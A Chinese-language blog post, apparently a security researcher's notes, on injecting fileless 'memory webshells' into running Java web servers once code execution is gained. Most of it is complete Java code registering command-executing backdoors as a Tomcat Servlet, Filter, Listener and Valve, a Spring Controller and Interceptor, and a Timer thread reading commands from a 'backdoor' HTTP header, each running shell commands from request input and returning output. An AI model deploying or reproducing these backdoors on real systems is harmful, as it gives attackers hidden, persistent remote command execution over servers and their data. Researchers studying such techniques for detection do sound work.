前置知识
当我们在请求一个实现 servlet-api 规范的 java web 应用时,程序先自动执行 listener 监听器的内容,再去执行 filter 过滤器,如果存在多个过滤器则会组成过滤链,最后一个过滤器将会去执行 Servlet 的 service 方法,即 Listener -> Filter -> Servlet。
假如存在了任意 java 代码执行点
注入Servlet
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| @Controller public class meshell {
public static class evil extends HttpServlet{ @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = resp.getWriter(); out.println(output); out.flush(); out.close(); } }
@RequestMapping("/servlet") @ResponseBody public void servlet(){ String url = "cyan"; try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org." + "springframework.web.servlet.DispatcherServlet.CONTEXT",0); ServletContext servletContext = context.getServletContext(); if(servletContext.getServletRegistration(url) == null){ StandardContext standardContext = null; while (standardContext == null){ Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object contextObject = contextField.get(servletContext); if(contextObject instanceof ServletContext){ servletContext = (ServletContext) contextObject; } else if (contextObject instanceof StandardContext) { standardContext = (StandardContext) contextObject; } } Wrapper wrapper = standardContext.createWrapper();; wrapper.setName(url); wrapper.setLoadOnStartup(1); wrapper.setServlet(new evil()); wrapper.setServletClass(evil.class.getName());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/cyan",url); } } catch (Exception e) {
} }
}
|
流程就是:
- 创建恶意Servlet
- ⽤Wrapper对其进⾏封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进⾏绑定
关于为什么这么注册可以自己找些资料(一个正常的 servlet 在初始化时如何添加的)跟入分析一下,后文均是
还有一种 StandardContext 的获取方法(jsp中)
1 2 3 4
| Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext();
|
注入Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| @RequestMapping("/filter") @ResponseBody public void filter(){ String url = "M0un"; try { StandardContext standardContext = getStandardContext(url); if(standardContext.findFilterDef(url) == null){ Filter filter = new Filter() { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse; String cmd = req.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = resp.getWriter(); out.println(output); out.flush(); out.close();
filterChain.doFilter(servletRequest,servletResponse); } }; FilterDef filterDef = new FilterDef(); filterDef.setFilterName(url); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(url); filterMap.addURLPattern("/M0un/*"); standardContext.addFilterMap(filterMap); standardContext.filterStart();
} } catch (Exception e) {
} }
|
调用 StandardContext 的 filterStart 方法可以生成 filterConfigs,当然也可以自行设置
1 2 3 4 5 6 7 8 9 10 11
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); ... Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig)
|
注入Listner
ServletRequestListener 负责监听 request 的建立和销毁,Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersObjects 属性中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public static class Mylistener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre){ HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null) { InputStream in = null; try { in = Runtime.getRuntime().exec(new String[] {"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext() ? s.next() : ""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request) requestF.get(req); request.getResponse().getWriter().write(out); } catch (Exception e) {
} } }
public void requestInitialized(ServletRequestEvent sre) {} }
|
1 2 3 4 5 6 7 8
| @RequestMapping("/listener") @ResponseBody public void listener() throws NoSuchFieldException, IllegalAccessException { String url = "CyanM0un"; StandardContext standardContext = getStandardContext(url); Mylistener mylistener = new Mylistener(); standardContext.addApplicationEventListener(mylistener); }
|
注入Tomcat Valve Pipe
在Tomcat中,四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中,都有一个管道(PipeLine)及若干阀门(Valve)。
一个形象的理解就是Pipeline 就相当于拦截器链,而valve就相当于拦截器。
我们可以自行编写具备相应业务逻辑的Valve,并添加进相应的管道当中。这样,当客户端请求传递进来时,可以提前在相应容器中完成逻辑操作。
更多请看:https://www.anquanke.com/post/id/225870
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static class myValve extends ValveBase{
@Override public void invoke(Request req, Response resp) throws IOException, ServletException { if (req.getParameter("cmd") != null) { InputStream in = java.lang.Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String o = s.hasNext() ? s.next() : ""; resp.getWriter().write(o); } this.getNext().invoke(req, resp); } }
|
ValveBase作为Tomcat的一个抽象基础类,实现了生命周期接口及MBean接口,使得我们可以专注于阀门的逻辑处理
而 valve 的动作定义在 invoke 中、通过调用this.getNext().invoke(req, resp)
将请求传入下一个 valve 就构成了 pipeline 管道
1 2 3 4 5 6 7 8 9
| @RequestMapping("/valve") @ResponseBody public void listener() throws NoSuchFieldException, IllegalAccessException { String url = "CyanM0un"; StandardContext standardContext = getStandardContext(url); Valve myValve = new myValve(); Pipeline pipeline = standardContext.getPipeline(); pipeline.addValve(myValve); }
|
任意路径下均可命令执行
注入Spring Controller
创建⼀个RequestMappingInfo,⼀个处理的类,将他们的映射关系保存进 mappingRegistry,controller就能建⽴
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public static class mycontroller{ public mycontroller(){
}
public String cmd() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); InputStreamReader isr = new InputStreamReader(is, "UTF-8"); BufferedReader br = new BufferedReader(isr); String str = ""; String line;
while ((line = br.readLine())!=null){ str += line; } is.close(); br.close();
return str; } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| @RequestMapping("/controller") @ResponseBody public void controller() throws NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = mycontroller.class.getMethod("cmd"); PatternsRequestCondition url = new PatternsRequestCondition("/CyanM0un"); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null); mycontroller controller = new mycontroller(); requestMappingHandlerMapping.registerMapping(info, controller, method); }
|
注入Spring Interceptor
- ⾸先获取应⽤的上下⽂环境,也就是 ApplicationContext
- 然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(⽤于反射)
- 反射获取 AbstractHandlerMapping 类的 adaptedInterceptors 字段
- 通过 adaptedInterceptors 注册拦截器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public static class myinter implements HandlerInterceptor {
public myinter(){}
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("cmd"); if(code != null){ try { java.io.PrintWriter writer = response.getWriter(); ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); }else{ p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code}); } p.redirectErrorStream(true); Process process = p.start(); BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream())); String result = r.readLine(); System.out.println(result); writer.println(result); writer.flush(); writer.close(); }catch (Exception e){ } return false; } return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }
|
1 2 3 4 5 6 7 8 9 10 11
| @RequestMapping("/inter") @ResponseBody public void inter() throws NoSuchFieldException, IllegalAccessException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); myinter myinter = new myinter(); adaptedInterceptors.add(myinter); }
|
LandGrey’s Blog
再记录一种获取 applicationcontext 的方法
1 2 3 4 5 6
| java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
|
注入线程
利用Java中Timer的特性,启动一个Timer线程,在其中执行webshell逻辑,如果不是所有未完成的任务都已完成执行,或不调用 Timer 对象的cancel 方法,这个线程不会停止,也不会被回收。
但这种方法获得 http 请求就稍微麻烦一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| @RequestMapping("/thread") @ResponseBody public void threadInject() { new java.util.Timer().schedule(new java.util.TimerTask(){ public void run(){ webshell(); } },0,1000); }
private void webshell() { String version = org.apache.catalina.util.ServerInfo.getServerNumber(); boolean is678 = version.startsWith("6") || version.startsWith("7") || version.startsWith("8"); boolean is9 = version.startsWith("9");
if(!(is9 || is678)) return;
Thread[] threads = null; try { ThreadGroup group = Thread.currentThread().getThreadGroup(); ThreadGroup topgroup = group; while (group != null){ topgroup = group; group = group.getParent(); } int size = topgroup.activeCount() * 2; threads = new Thread[size]; topgroup.enumerate(threads); }catch (Exception e){
}
for(Thread thread : threads){ if(thread == null) continue; if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { try{ Object target = getField(thread,"target"); Object jioEndPoint = null;
if(is678) jioEndPoint = getField(target,"this$0"); if(is9) jioEndPoint = getField(target,"endpoint");
if(jioEndPoint == null) throw new NoSuchFieldException("jioEndPoint Not Found");
List processors = (List) getField(getField(getField(jioEndPoint,"handler"),"global"),"processors"); for(Object processor : processors){ target = getField(processor,"req"); String cmd = (String) target.getClass().getMethod("getHeader",String.class).invoke(target,"backdoor"); if(cmd != null && !cmd.isEmpty()){ try { Runtime.getRuntime().exec(cmd); }catch (Exception e){
} } } }catch (Exception e){
} } } }
private Object getField(Object object, String target) throws Exception{ Field field = null; Class<?> clazz = object.getClass();
try { field = clazz.getField(target); }catch (NoSuchFieldException e1){ while (clazz != Object.class){ try { field = clazz.getDeclaredField(target); break; }catch (NoSuchFieldException e2){ clazz = clazz.getSuperclass(); } } } if(field == null){ throw new NoSuchFieldException(target); }else { field.setAccessible(true); return field.get(object); } }
|
如果要获得回显的话,要想办法拿到 response,就在 req 里面
1
| Response response = (Response) getField(getField(request, "req"), "response");
|
关于这部分的利用(另一种办法获取header、Executor组件的内存马)还可以参考:https://xz.aliyun.com/t/11593
参考
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247489382&idx=1&sn=c906fe2ac109867a7794b5ba4cf722a8&chksm=96f4080ba183811d49cc027855e9074fbb0a8f12fd0ec7d10144d87f9fc1faac682788200669&mpshare=1&scene=23&srcid=0801fW0rmphDtTWVD0IiZ7wL&sharer_sharetime=1659317942066&sharer_shareid=ecfe791586696cabca589d0274c23d1d